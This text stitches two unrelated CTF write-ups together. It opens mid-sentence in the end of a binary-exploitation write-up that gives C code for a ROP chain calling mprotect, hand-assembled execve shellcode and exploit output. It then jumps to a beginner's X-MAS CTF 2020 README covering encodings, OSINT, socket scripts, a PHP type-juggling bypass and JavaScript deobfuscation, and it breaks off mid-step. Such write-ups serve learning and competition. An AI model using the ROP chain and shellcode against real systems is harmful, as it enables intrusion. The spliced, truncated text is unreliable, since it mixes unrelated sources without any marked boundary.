*)(exploit+4)) = dec_ebx; // address of dec ebx gadget *((uint32_t *)(exploit+8)) = dec_ebx; *((uint32_t *)(exploit+12)) = dec_ebx; *((uint32_t *)(exploit+16)) = dec_ebx; *((uint32_t *)(exploit+20)) = pop_eax; // address of pop eax gadget *((uint32_t *)(exploit+24)) = 125; // __NR_mprotect *((uint32_t *)(exploit+28)) = pop_ecx; // address of pop ecx gadget *((uint32_t *)(exploit+32)) = 4096; // page-aligned stack size *((uint32_t *)(exploit+36)) = pop_edx; // address of pop edx gadget *((uint32_t *)(exploit+40)) = (PROT_EXEC|PROT_WRITE|PROT_READ); *((uint32_t *)(exploit+44)) = int_80; // address of int 0x80 gadget *((uint32_t *)(exploit+48)) = jmp_esp; // address of jmp esp gadget```Upon returning from `mprotect` we should be able to jump to `esp`. There's acaveat. The calling convention uses the stack for arguments, but we're alreadyusing the stack for our code. We need a new stack! Seems obvious, but I tookthat for granted and spent an hour wondering why my exploit was coring.Fortunately, we can just use `random_code` segment as our new stack. The firstorder of business in our second stage shellcode will be to move an address in`random_code` into `esp`. Besides that it's just a vanilla `execve` shellcodethat's going to cat the flag. ```C 0xbc, 0x00, 0x00, 0x38, 0x13, // mov esp,0x133800000 ; new stack 0x6a, 0x0b, // push 0xb 0x58, // pop eax 0x31, 0xd2, // xor edx,edx 0x52, // push edx 0x68, 0x2f, 0x63, 0x61, 0x74, // push 0x7461632f 0x68, 0x2f, 0x62, 0x69, 0x6e, // push 0x6e69622f 0x89, 0xe3, // mov ebx,esp 0x68, 0x78, 0x74, 0x00, 0x00, // push 0x7478 0x68, 0x61, 0x67, 0x2e, 0x74, // push 0x742e6761 0x68, 0x66, 0x2f, 0x66, 0x6c, // push 0x6c662f66 0x68, 0x65, 0x2f, 0x63, 0x74, // push 0x74632f65 0x68, 0x2f, 0x68, 0x6f, 0x6d, // push 0x6d6f682f 0x89, 0xe1, // mov ecx,esp 0x52, // push edx 0x51, // push ecx 0x53, // push ebx 0x89, 0xe1, // mov ecx,esp 0xcd, 0x80, // int 0x80 0x6a, 0x01, // push 0x01 0x58, // pop eax 0x31, 0xdb, // xor ebx, ebx 0xcd, 0x80, // int 0x80``` Let's see the exploit in action: ```shell[joey@gibson]$ ./exploit=== Generating random memory with seed 1615121940...=!!= Found EBX mov gadget @ 0x135e533c=!!= Found INT 0x80 gadget @ 0x1385c0c8=-= All gadgets are present! Sending the exploit..CTF{bounce_bounce_bounce}```
# X-MAS-CTF-2020This was my first attempt at a CTF after being recently introduced to the concept. I challenged a friend and we set to try and do as many challenges as possible.Personally, I also had the goal of trying to understand how the different types of areas worked and which ones I had most insterest!The format of the CTF allowed for just that, specially with the adding of new challenges every other day as well as a good and active community on discord.Great description of the competition can be found in the official competition website: <https://xmas.htsp.ro/home> I participated alongside [Francisco Rodrigues](https://github.com/ArmindoFlores) and we ended up in 97th. My teammate did a write up for *Santa's ELF holomorphing machine* (which was one of the most interessing and fun challenges in my opinion, that you can found [here](https://gist.github.com/ArmindoFlores/21bea2dd3e75040115498754f42864c6) This will be my first attempt at write ups, so any suggestions let me know! Here is my discord *Franfrancisco9 #0105* List of the categories and challenges I solved:- !Sanity Check - [Merry Christmas!](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/README.md#merry-christmas-55-points) - [The place where all the elves hang out](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/README.md#the-place-where-all-the-elves-hang-out--55-points)- Forensics - [Conversation](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/README.md#conversation-2650-points)- Miscellaneous - [PMB](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/README.md#pmb-5050-points) - [Bobi's Whacked](https://github.com/franfrancisco9/X-MAS-CTF-2020#bobis-whacked-5050-points) - [Whispers of Ascalon](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/README.md#whispers-of-ascalon-5050-points)- Programming - [Biggest Lowest](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/README.md#biggest-lowest-3750-points) - [Least Greatest](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/README.md#least-greatest-5050-points)- Web Exploitation - [PHP Master](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/README.md#php-master-3350-points) - [Santa's Consolation](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/README.md#santas-consolation--5050-points) *Note: For every challenge I will present the points they had at the end of the competition / the points at the begginning as the platform adjusted the difficulty according to how many teams have solved the challenge* *Note 2: For every challenge I will give my personall evaluation of difficulty* ## !Sanity Check>Introductory category and just for fun #### **Merry Christmas! (5/5 Points)** First challenge when you entered the competition made for fun as a welcoming text, flag was given in the description: ![Image of Merry Christmas!](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/Merry_Christams!.png) Flag was **X-MAS{H0_H0_H0_H4ck_4_4_br1gh73r_fu7ur3_4nd_m3rry_X-MAS!!!}** #### **The place where all the elves hang out (5/5 Points)** Another fun challenge where you were directed to join the discord server and haas the name suggests, when checking *general* channel's description, there was your flag: ![The place where all the elves hang out](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/The_Place_Where_All_The_Elves_Hang_Out.png) Flag was **X-MAS{Alr1gh7_50_W3_g07_734_b15cui75_4nd_7h3_w4rm357_w1n73r_50ck5_w3_c0uld_f1nd.L37'5_g0!}** ## Forensics #### **Conversation (26/50 Points)**>Author: Yakuhito ![Image of conversation description](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/Conversation/Conversation_Description.png) We were given a file called *logs.pcapng*, and being new to CTF competitions I followed all the introductory steps you can find online when dealing with any file, being one of them of course the strings function. Uppon calling the strings function, after some scrolling you could found the folling sequence of readable text:>Hello there, yakuhito >Hello, John! Nice to hear from you again. It's been a while. >I'm sorry about that... the folks at my company restrict our access to chat apps. >Do you have it? >Have what? >The thing. >Oh, sure. Here it comes: >Doesn't look like the thing >A guy like you should know what to do with it. At first I was really confused because it seemed there was nothing but giberish after *Here it comes:* but after a close look I noticed a text sequence that suggested some sort of base64 encryptation >JP1ADIA7DJ5hLI9zpz9gK21upzgyqTyhM19bLKAsLI9hMKqsLz95MaWcMJ5xYJEuBQR3LmpkZwx5ZGL3AGS9Pt== I imidiately run the echo | base64 --decode line just to find a pack of unreadable chars. After some digging I was recommend [cyberchef](https://gchq.github.io/CyberChef/), which definetely the best tool to quickly run over basic encodings, analysis, etc ( specially for begginers!) I used the magic analysis and immediatly got a response with ROT13 base64 decoding: ![Imgae of conversation cyber chef](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/Conversation/Conversation_Cyber_Chef.png) Flag was **X-MAS{Anna_from_marketing_has_a_new_boyfriend-da817c7129916751}** Difficulty: *Easy* I felt like this was a pretty standart and easy challenge, which also showed me the importance of starting to identify the most common types of encoding ## Miscellaneous #### **PMB (50/50 Points)**>Author: Yakuhito ![Image of PMB description](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/PMB/PMB_description.png) This challenge was really all about the nuances in the different descriptions. After connecting with the given IP you would be greeted by this menu: ![Image of PMB Menu](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/PMB/PMB_menu.png) They tell us our number cannot have a modulus higher or equal to 100 and that it can ***any*** number ( this will be important). I started with some basic tests: >Interest: 1 ![PMB months](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/PMB/PMB_months.png) So it seems that is a simple multiplication process each month, the problem is we cannot have any positive value until the last month. That is where the ***any*** so strongly written importance appears, as it is sopposed to remind us that you can also use complex numbers! They also have a modulus to respect but they have this great thing where for z = a + bj if we have a = 0 and b = 1, then we have j And j^2 = -1, and -1j = -j and -j^2 = 1, which means we just need to use a certain b with j that gets us to the required 10 million That number is 10, as 10 x 1000 = 10 000, 10 000 x 10 = 100 000, 100 000 x 10 = 1 000 000 and 10 x 1 000 000 = 10 000 000 000 Joining 10 with j (does not matter if it is -10j or 10j) we will get to the 10 million and obtain the flag: ![PMB flag](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/PMB/PMB_flag.png) Flag was **X-MAS{th4t_1s_4n_1nt3r3st1ng_1nt3r3st_r4t3-0116c512b7615456}** Difficulty: *Easy* Great challenge that shows importance of reading descriptions carefully! #### **Bobi's Whacked (50/50 Points)**>Author: Bobi For this challenge we start with nothing else but this line: ![Bobis description](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/Bobi's%20Whacked/Bobis_Whacked_Description.png) This suggests this is an OSINT challenge, meaning we have to look for clues online, usually in social media or other available websites, and try to follow clues or hints for the information we want. In this case I immediatly looked the name *Bobi whack* and found one channel on the name *Bobi's wHack*. The reason i immediatly went for youtube is because the description mentions *caption* which is a usual word for subtitles. 4 videos showed to have captions inserted by the channel owner. By clicking on the video and choosing the transcript option I got to text bits: >X-MAS{nice_thisisjustthefirstpart >_congrats} I tested to submit *X-MAS{nice_thisisjustthefirstpart_congrats}* but it did not work, meaning there is probably a middle section missing. When checking the channel, I found the following sequence in the *about* section: >6D6964646C6570617274 Using cyber chef we got from hex decoding the word *middlepart* Flag was **X-MAS{nice_thisisjustthefirstpart_middlepart__congrats}** Difficulty: *Easy* Great challenge overall #### **Whispers of Ascalon (50/50 Points)**>Author: Bobi For this challenge the description had the following quote: >*The one who bears the Magdaer shall curse his people forever after* As well the following image: ![Whisper os Ascalon](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/Whispers%20of%20Ascalon/Whispers_of_Ascalon.png) Now, at first this did not called for anything to me, but after some research of the name *Magdaer*, I quickly understood this was part of the game Guild of Wars 2. All it took was some look around in the Guild Wars Official Wiki (<https://wiki.guildwars2.com/wiki/Main_Page>) to find the so called *New Krytan* alphabet along side a handy translation: ![whispers translation](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/Whispers%20of%20Ascalon/Whispers_of_Ascalon_translation.png) After that was just getting the flag. Flag was **X-MAS{GW2MYFAVORITEGAME}** Difficulty: *Easy* All about looking for the description references! ## Programming #### **Biggest Lowest (37/50 Points)**>Authors: Gabies and Nutu The challenge had the following description: I see you're eager to prove yourself, why not try your luck with this problem? Target: nc challs.xmas.htsp.ro 6051 When you connected to the given address you were greated with a little introduction of how hte challenge works (this will be very similar across all programming challenges): So you think you have what it takes to be a good programmer? Then solve this super hardcore task: Given an array print the first k1 smallest elements of the array in increasing order and then the first k2 elements of the array in decreasing order. You have 50 tests that you'll gave to answer in maximum 45 seconds, GO! Here's an example of the format in which a response should be provided: 1, 2, 3; 10, 9, 8 After which was the values you had to work with in this format: Test number: 1/50 array = [2, 5, 9, 3, 8] k1 = 2 k2 = 1 It becomes clear we need a script to achieve such a fast order otherwise you do not have time to do all 50 tests, specially because after a certain number the arrays of numbers become way to big. Being fairly new to python, this was the perfect challenge to learn some of the basics of connections and socket send a receive functions(even though I have been now thought about the wonders and much perks of using pwn). Nonetheless, here was my approach when doing the code, followed by the actual code commented: - Setup connection to the address and retrieve all the necessary values - Sort the given numbers from low to high and then high to low - Make the sort only until the specified k1 or k2 elements - Set up the correct form for input ( e.g: 1, 2, 3; 10, 9, 8) - Send the input - Implement loop to do this for the 50 tests ```pythonimport socket # Connection set upip = 'challs.xmas.htsp.ro'port = 6051sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((ip, port)) # Get the first set of datadata = sock.recv(16000)#print(data) # Loop to ensure the 50 testsfor x in range(51): # So I could follow along print("Test number ", x + 1, '\n') # Splitting the received data so we only look for the numbers we care about) data = data.split(b'array = ')[-1] # Take all the symbols connected to numbers and replace with spaces ( this allows us to get all numbers directly) numbers = data.replace(b',', b'') numbers = numbers.replace(b'[', b'') numbers = numbers.replace(b']', b'') dat = numbers.decode() # By this point we get an array that contains all the values to order and in the last to slots the k1 and k2 values res = [int(i) for i in dat.split() if i.isdigit()] # small test so did not get errors showing up when i made mistakes if len(res) == 0: break # I used the sorted function and first did an overall sorting of the array minus the k1 and k2 increase = sorted(res[0:len(res)-2]) # Then I did it again (even though it is already sorted, but only for the first k1 numbers9 # There is probably a direct way, but starting with normal sorting this gave back exactly what I wanted increase1 = sorted(increase[0:res[len(res) - 2]]) # Same process but now we do the reverse order and use k2 decrease = sorted(res[0:len(res)-2], reverse = True) decrease1 = sorted(decrease[0:res[len(res)-1]], reverse = True) # We start the string that will be passed to input str1 = '' # this will add the numbers we obtained plus the commas for i in range(len(increase1)): if i != len(increase1) - 1: str1 = str1 + str(increase1[i]) + ',' + ' ' else: str1 = str1 + str(increase1[i]) # Separation between the k1 and k2 orders str1 = str1 + ';' # Starts with space str2 = ' ' # Same process as in k1 for i in range(len(decrease1)): if i != len(decrease1) - 1: str2 = str2 + str(decrease1[i]) + ',' + ' ' else: str2 = str2 + str(decrease1[i]) # Adding the \n so at the end of the string it presses enter strfinal = str1 + str2 + '\n' #print(strfinal) # send the input! sock.send(strfinal.encode()) # after sending we get the info for the next test in the loop data = sock.recv(16000) # this prints the last data that is the string (x = 51)print(data.decode())``` After running the code we were greeted with a winning text: Good, that's right Those are some was lightning quick reflexes you've got there! Here's your flag: X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l} Flag was **X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l}** Difficulty: *Medium Easy* Even though it certainly was one of the easiest, since I was so unfammiliar with python, it took obviously longer than it should, but gave me excellent tools to do the next challenge and made it feel much easier! #### **Least Greatest (50/50 Points)**>Authors: Gabies and Nutu As mentioned in *Biggest Lowest*, the approach for this challenge was very much similar, the difference being we now wanted to find the number of pairs of numbers *(x.y)* thatd had the given *greates common divisor* and *least common multiple*. We were given the following description: Today in Santa's course in Introduction to Algorithms, Santa told us about the greatest common divisor and the least common multiple. He this gave the following problem as homework and I don't know how to solve it. Can you please help me with it? Target: nc challs.xmas.htsp.ro 6050 After connecting to target we had the following introduction: Hey, you there! You look like you know your way with complex alogrithms. There's this weird task that I can't get my head around. It goes something like this: Given two numbers g and l, tell me how many pairs of numbers (x, y) exist such that gcd(x, y) = g and lcm(x, y) = l Also, i have to answer 100 such questions in at most 90 seconds. So, like I said, the exact same process will be used, but now the format of the numbers is: Test number: 1/100 gcd(x, y) = 6272065202853374095609 lcm(x, y) = 3724998340170227435504471927 After some research, I found out that the GCD and LCM are actually easy to interconnect and my first approach was to use the property that *xy = GCD x LCM*, and since x and y will be smaller or equal to the LCM, trying all possible pairs with product equal to *GCD x LCM*.Well, it does not surprise that this did not work for the big tests, since numbers get insanely huge. I had to make it more effiecient, which entailed the need to change algorithm to something much more efficient. After some research I found a lot of websites describing an approach trhough a prime factor method. Here is the idea behind it: We know that GCD * LCM = x * y Since GCD is gcd(x, y), both x and y will have GCD as its factor Let X = x/GCD Let Y = y/GCD This means GCD(X, Y) = 1 We can write, x = GCD * X, x = GCD * Y GCD * LCM = GCD * X * GCD * Y X * Y = LCM / GCD So we need all pairs of (X, Y) thats respect gcd(X, Y) = 1 and X*Y = LCM/GCD This is where the prime factors come in, as if we consider p1, p2 up to pk as prime factors of LCM/GCD Then if p1 is present in prime factorization of X then p1 can't be present in prime factorization of Y because gcd(X, Y) = 1. This means each prime factor is either in X or in Y This concludes that the total possible ways to divide all prime factors among X and Y is 2^k, where LCM/GCD has k distinct prime factors. Whit this in mind this was the final script: ```Python # Efficient python3 program to count # all pairs with GCD and LCM. # A function to find number of distinct # prime factors of a given number n def totalPrimeFactors(n): # To keep track of count count = 0; # 2s that divide n if ((n % 2) == 0): count += 1; while ((n % 2) == 0): n //= 2; # n must be odd at this point. # So we can skip one element # (Note i = i +2) i = 3; while (i * i <= n): # i divides n if ((n % i) == 0): count += 1; while ((n % i) == 0): n //= i; i += 2; # This condition is to handle the # case when n is a prime number # greater than 2 if (n > 2): count += 1; return count; # function to count number# of pair with given GCD and LCMdef countPairs(G, L): if (L % G != 0): return 0; div = L // G; # answer is 2^totalPrimeFactors(L/G) return (1 << totalPrimeFactors(div)); import socket # connectionip = 'challs.xmas.htsp.ro'port = 6050sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((ip, port))data = sock.recv(8192) for x in range(101): # So I could follow along print("Test number ", x + 1) pairs = 0 res = [0, 0] # print(data) if data.find(b'gcd') != -1: # get the numbers we need numbers = data.split(b'gcd')[-1] dat = numbers.decode() # print(data) # we only want the numeric values [res[0], res[1]] = [int(i) for i in dat.split() if i.isdigit()] # print(res) # iniciate the counting of the pairs pairs = countPairs(res[0], res[1]) # print(pairs) # prepare the string to send pairs = str(pairs) + '\n' # sending the value to input sock.send(pairs.encode()) # get data for next loop round data = sock.recv(8192) # this prints the last data that is the flag(x = 101)print(data.decode())```Just run it and we get the winning text: Wow, you really know this kind of weird math? Here's your flag: X-MAS{gr347es7_c0mm0n_d1v1s0r_4nd_l345t_c0mmon_mult1pl3_4r3_1n73rc0nn3ct3d} Flag was **X-MAS{gr347es7_c0mm0n_d1v1s0r_4nd_l345t_c0mmon_mult1pl3_4r3_1n73rc0nn3ct3d}** Difficulty: *Easy* Thanks to the first programming challenge this one felt much easier and just all about finding an effiecient method to solve the challenge. ## Web Exploitation #### **PHP MAster (33/50 Points)**>Author: Yakuhito The description was: Another one of *those* challenges. Target: http://challs.xmas.htsp.ro:3000/ When we got in the web page we could see the following code: ```php ``` I never had any contact with php before, but after some chatting with my colleague and some overall research online, I understood that I need to find the correct values for param1 and param2 ( as they are required as inputs with the *$_GET* function) so that we activated the code part where they give us the flag (*die($flag)*) The first if segment only checks if the varaibles have any value and are not NULL. The second if is what we care about as it describes the required relationship between param1 and param2. The first definition is ```php strpos($p1, 'e') === false && strpos($p2, 'e') === false ```Which basically means that param1 and param2 cannot have the letter e. It is interesting to note that it does not check for ther letter E, which allowed for another solution that I did not consider at the time Then we have:```php strlen($p1) === strlen($p2) && $p1 !== $p2```So param1 and param2 need to have the same lenght, but their values ( considering the type) have to be different, but then we are told that:```php $p1[0] != '0' && $p1 == $p2```Which tells us that the first character of param1 cannot be 0 and that apprently param1 = param2. This seems to go against what we saw in the above line. However, in php == is different than === and != is different than !==, the two first do not take into account the data type of variables, whereas the second ones do. Alright, this means we need to get a number that can be represented in two different ways but its value be the same without using e, and make sure both variables have the same lenght, as well param1 not starting with a 0. There are many options! Here some I got to work: param1 = .10 and param2 = 0.1 param1 = 1.0 and param2 = 001 param1 = 10. and param2 = 010 param1 = -0 anda param2 = 00 And like I said, after the competition was over people mentioned that the intend solution was actually to exploit the fact that is does not check for E meaning this also works: param1 = 1E2 and param2 = 100 By adding */?param1=1.0&param2=001* to the end of the address or any other solution the flag would appear. Flag was **X-MAS{s0_php_m4ny_skillz-69acb43810ed4c42}** Difficulty: *Medium Easy* First time working with php, so at first was a bit confused with the particularities of the language, but after some research this challenge was the perfect intro to simple web exploitation. #### **Santa's consolation (50/50 Points)**>Author: littlewho This was a very fun challenge that started of with a bit of promoting a website: Santa's been sending his regards; he would like to know who will still want to hack stuff after his CTF is over. Note: Bluuk is a multilingual bug bounty platform that will launch soon and we've prepared a challenge for you. Subscribe and stay tuned! Target: https://bluuk.io PS: The subscription form is not the target :P Uppon entering the website you were greeted witha button that said *Let´s Hack*. You press it and it says *challenge has been loaded*. I inspected the page and into to source to find a challenge.js file: ![Santa's Consolation:js](https://github.com/franfrancisco9/X-MAS-CTF-2020/blob/main/Santa's%20Consolation/santa%C2%B4s_consolation_js.png) So the goal is very much straightfoward: - find the value of k1- go back the steps of bobify function to find the input string- put ii in win() function in the console We are told that k1 does: - atob(k) which basically means decode from base64- split('').reverse().join(''), which means it reverses the result So we start with: MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg== Then we use cyberchef to decode from base64 to: 2ETM8hjN8NTN8dzM8ZjN8NTN8dzM8VDMxwHO2w3M1w3NzwnN2w3M1w3NzwXO5wHO2w3M1w3NzwnN2w3M1w3NzwXNwEDf4YDfzUDf3MDf2YDfzUDf3MDf0ETM8hjN8NTN8dzM8ZjN8NTN8dzM8FDMxwHO2w3M1w3NzwnN2w3M1w3NzwnMwEDf4YDfzUDf3MDf2YDfzUDf3MDfyITM8hjN8NTN8dzM8ZjN8NTN8dzM8BTMxwHO2w3M1w3NzwnN2w3M1w3Nzw3NxEDf4YDfzUDf3MDf2YDfzUDf3MDf1ATM8hjN8NTN8dzM8ZjN8NTN8dzM8lTO8hjN8NTN8dzM8ZjN8NTN8dzM8dTO8hjN8NTN8dzM8ZjN8NTN8dzM8RTMxwHO2w3M1w3NzwnN2w3M1w3NzwXO5wHO2w3M1w3NzwnN2w3M1w3NzwnMyEDf4YDfzUDf3MDf2YDfzUDf3MDf3ETM8hjN8NTN8dzM8ZjN8NTN8dzM8hDN8hjN8NTN8dzM8ZjN8NTN8dzM8FjMxwHO2w3M1w3NzwnN2w3M1w3NzwnMyEDf4YDfzUDf3MDf2YDfzUDf3MDf1ETM8hjN8NTN8dzM8ZjN8NTN8dzM8FDMxwHO2w3M1w3NzwnN2w3M1w3NzwHNwEDf4YDfzUDf3MDf2YDfzUDf3MDf1ETM8hjN8NTN8dzM8ZjN8NTN8dzM8VDMxwHO2w3M1w3NzwnN2w3M1w3NzwXOxEDf4YDfzUDf3MDf2YDfzUDf3MDfyITM8hjN8NTN8dzM8ZjN8NTN8dzM8dTO8hjN8NTN8dzM8ZjN8NTN8dzM8ZTMxwHO2w3M1w3NzwnN2w3M1w3NzwHMxEDf4YDfzUDf3MDf2YDfzUDf3MDf3kDf4YDfzUDf3MDf2YDfzUDf3MDf1ETM0000DETCADER And we reverse it: REDACTED0000MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDk3fDM3fDUzfDY2fDM3fDUzfDY4fDExMHwzN3w1M3w2NnwzN3w1M3w2OHwxMTZ8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDExOXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEwNHwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHwxMjF8Mzd8NTN8NjZ8Mzd8NTN8Njh8NDh8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE3fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMTR8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTl8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTA1fDM3fDUzfDY2fDM3fDUzfDY4fDExN3wzN3w1M3w2NnwzN3w1M3w2OHwxMTB8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDEwMnwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE0fDM3fDUzfDY2fDM3fDUzfDY4fDEwNXwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE2 Now we have the value that needs to be at the end of bobify, lets start rewinding the bobify function. We have the btoa function which is encoding to base64, and inside we have the sum of s2 (which comes from our input) and the following string: D@\xc0\t1\x03\xd3M4 If we go back to the obtained k1 string we see that if we decode the first part *REDACTED0000* we obtain: D@À 1.ÓM4 Which means that the rest is our string s2: MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDk3fDM3fDUzfDY2fDM3fDUzfDY4fDExMHwzN3w1M3w2NnwzN3w1M3w2OHwxMTZ8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDExOXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEwNHwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHwxMjF8Mzd8NTN8NjZ8Mzd8NTN8Njh8NDh8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE3fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMTR8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTl8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTA1fDM3fDUzfDY2fDM3fDUzfDY4fDExN3wzN3w1M3w2NnwzN3w1M3w2OHwxMTB8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDEwMnwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE0fDM3fDUzfDY2fDM3fDUzfDY4fDEwNXwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE2 That we know is encoded, so we run from base64 once again and obtain the following: 115|37|53|66|37|53|68|97|37|53|66|37|53|68|110|37|53|66|37|53|68|116|37|53|66|37|53|68|97|37|53|66|37|53|68|122|37|53|66|37|53|68|119|37|53|66|37|53|68|105|37|53|66|37|53|68|115|37|53|66|37|53|68|104|37|53|66|37|53|68|101|37|53|66|37|53|68|115|37|53|66|37|53|68|122|37|53|66|37|53|68|121|37|53|66|37|53|68|48|37|53|66|37|53|68|117|37|53|66|37|53|68|122|37|53|66|37|53|68|99|37|53|66|37|53|68|114|37|53|66|37|53|68|97|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|117|37|53|66|37|53|68|110|37|53|66|37|53|68|122|37|53|66|37|53|68|102|37|53|66|37|53|68|101|37|53|66|37|53|68|114|37|53|66|37|53|68|105|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|116 Now, we look at the line that describes how s2 is obtained: const s2=encodeURI(s1).split('').map(c=>c.charCodeAt(0)).join('|'); So we first need to remove the | and replace with a space, then decode from charcode the numbers, and then decode from URL: Using split('|') and join (' '): 115 37 53 66 37 53 68 97 37 53 66 37 53 68 110 37 53 66 37 53 68 116 37 53 66 37 53 68 97 37 53 66 37 53 68 122 37 53 66 37 53 68 119 37 53 66 37 53 68 105 37 53 66 37 53 68 115 37 53 66 37 53 68 104 37 53 66 37 53 68 101 37 53 66 37 53 68 115 37 53 66 37 53 68 122 37 53 66 37 53 68 121 37 53 66 37 53 68 48 37 53 66 37 53 68 117 37 53 66 37 53 68 122 37 53 66 37 53 68 99 37 53 66 37 53 68 114 37 53 66 37 53 68 97 37 53 66 37 53 68 99 37 53 66 37 53 68 105 37 53 66 37 53 68 117 37 53 66 37 53 68 110 37 53 66 37 53 68 122 37 53 66 37 53 68 102 37 53 66 37 53 68 101 37 53 66 37 53 68 114 37 53 66 37 53 68 105 37 53 66 37 53 68 99 37 53 66 37 53 68 105 37 53 66 37 53 68 116 Then From charcode with base 10: 